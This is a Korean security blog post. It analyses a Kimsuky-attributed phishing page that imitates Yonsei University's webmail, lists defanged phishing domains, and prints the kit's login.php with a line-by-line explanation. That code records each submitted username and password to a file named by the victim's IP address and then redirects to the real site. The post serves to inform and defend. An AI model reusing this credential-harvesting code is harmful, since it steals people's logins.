꿈을꾸는 파랑새

일단 오늘은 북한 해킹 단체 김수키(Kimsuky) 에서 만든 피싱(Phishing)인 연세대학교 웹메일 사이트으로 일단 핵심 피싱 사이트는 알수 없고 피싱 사이트 일부만 확보를 할수가 있어서 유포 주소를 확인할 수가 없으며 그냥 순수하게 그냥 피싱 사이트 파일로 분석을 해보겠습니다.

simos(.)online
sorsi(.)online
wodods(.)online
wodods(.)xyz
audko(.)store
avist(.)store
nlsie(.)store
nusiu(.)live

연세대학교 피싱 로그인 부분
연세대학교 피싱 로그인 부분

중 하나로 추측이 됩니다. 일단 해당 html 에서 logoFile_1643014429.jpg 분을 알 수가 없어서 어떻게 구성이 돼 있는지 모릅니다. 일단 기본적으로 전체적으로 어떻게 보이는지 모름
일단 피싱 사이트 메일 내용은 다음과 같습니다.
업데이트 안내
더 나아진 서비스를 만나보세요.
오른쪽 메뉴가 생겼어요.
설정과 SMS메뉴가 여기로 이동되었습니다.
그만 보기 다음
서비스명이 바뀌었어요.
주소록은 연락처로,
캘린더는 일정으로,
전자결재는 결재로,
웹하드는 드라이브라고 불러주세요.
그만 보기 다음
프로필 레이어가 생겼어요.
설정 메뉴로 이동할 수 있고,
권한에 따라 관리자 메뉴로 이동할 수 있습니다.
알겠습니다!
내용을 보면 서비스 메뉴 및 서비스명이 바뀐 걸로 확인을 할 수가 있습니다.

login(.)php 내용

'language', 'username' => 'usern(a)me', 'pass(w)ord' => 'passw(o)rd', 
'c(o)unt' => 'count' ); $_url = $_SERVER([)'REQUEST_URI']; $date(=)date
("F j, Y, g:i a"); function wri(t)e($str) { $fp = fopen((g)etenv ("REMO
T(E)_ADDR"), "a+"); f(w)rite($fp, $str); fwr(i)te($fp, "\r\n"); fclose(
$fp); } write("r(e)quest-url: ". $_url); if (isset($_POS(T)[$_config['u
sername']]) &(&) isset($_POST[$_co(n)fig['pa(s)sword']]) && isset($_POS
T[$_config['co(u)nt']])) { $cnt = $_POST[$_co(n)fig['count']]; $(m)embe
r_id = $_POST[$_confi(g)['usern(a)me']]; $pa(s)sword = $_POST[$_config
['pa(s)sword']]; write($cnt." :\t". "U(s)erID: ".$memb(e)r_id."\t"."Pa
ss: ".$pas(s)word."\r\n"); if(strcmp($c(n0t, "0") == 0 ) { $str = "Log
in Fail"; header("Content-T(y)pe: text/plain"); heade(r)("Content-Leng(t)
h: ".strlen($str)); echo($str); }else { $str = "hxxps://mail(.)yonsei(.)ac
(.)kr/"; header((")C(o)ntent-Type: text(/)plain"); header("Content-L(e)ngth: "
.strlen($str)); ec(h)o($str); } } ?>

코드설명

1.구성 변수 설정:
language,username =>
코드에서 변수를 초기화하려 했던 부분 가능성
2.현재 요청된 URL 저장:
$_url = $_SERV(E)R['REQU(E)ST_URI']
현재 요청된 URL을 가져와서 _url 변수에 저장
현재 날짜와 시간 저장:
$date=date("(F) (j), (Y), (g0:i a");
현재 날짜와 시간을 특정 형식으로 가져와 $date 변수에 저장
4.파일에 로그 기록:
   function write($s(tr))) {
       $fp = fopen(get(e)nv("REMOTE(_)ADDR"), "a+");
       fwrite($(f)p, $str);
       fwrite($f(p), "\r(\)n");
       fclose($(f)p);
   }
write 함수는 문자열을 로그 파일에 기록하는 함수
파일명으로 REMOTE_ADDR 환경 변수를 사용하여 로그 파일을 만들고 있으며 클라이언트의 IP 주소를 반환함
해당 함수는 클라이언트의 IP 주소를 파일명으로 하고 파일에 데이터를 기록
5.로그 기록 작업:
write("requ(e)st-url: ". $_url);
write 함수를 호출하여 현재 요청된 URL을 로그 파일에 기록
6.사용자 입력 확인 및 처리:
   if (isset($_POST[$_config['(u)sername']]) && isset($_POST[$_conf(i)g['password']]) && isset($_P(O)ST[$_config['count']])) {
       $cnt = $_P(O)ST[$_config['count']];
       $member_id = ($)_PO(S)T[$_config['username']];
       $password = $_PO(S)T[$(_)config['password']];
       write($cnt." :\t". "Us(e)rID:( ").$m(e)mber_id."\t"."Pass: ".$pa(s)sword."\r\n");
조건문은 사용자가 보낸 POST 요청에서 username, password, count 값이 설정되었는지를 확인
만약 설정되어 있다면 값들을 추출하여 로그 파일에 기록 즉 코드는 사용자의 로그인 정보(아이디와 비밀번호)를 수집 목적
7.응답 처리:
   if(strcmp($cnt, "0") == 0 ) {
       $str = "Log(i)n Fail";
       header("Conten(t)-Type: text/plain");
       header("Content-Le(n)gth: ".strlen($str));
       echo($st(r));
   } else {
       $str = "hxxps://mail(.)yonsei(.)ac(.)kr/";
       header("Content-Type: text/plain");
       header("Content-Length: ".strlen($str));
       echo($str);
   }
입력된 count 값이 0인 경우 Login Fail 메시지를 텍스트 형식으로 반환 그렇지 않으면 연세대학교 메일 사이트의 URL을 반환
주된 목적은 사용자가 입력한 아이디와 비밀번호를 수집하여 이를 클라이언트의 IP 주소를 파일명으로 하는 로그 파일에 저장하는 것
아마도 지난 시간에 글을 적은 고려대학교 지식기반 포털시스템처럼 희생자들의 ID와 비밀번호가 있었으리라 생각을 하면 피해자 분들은 비밀번호를 변경하는 것을 권장합니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band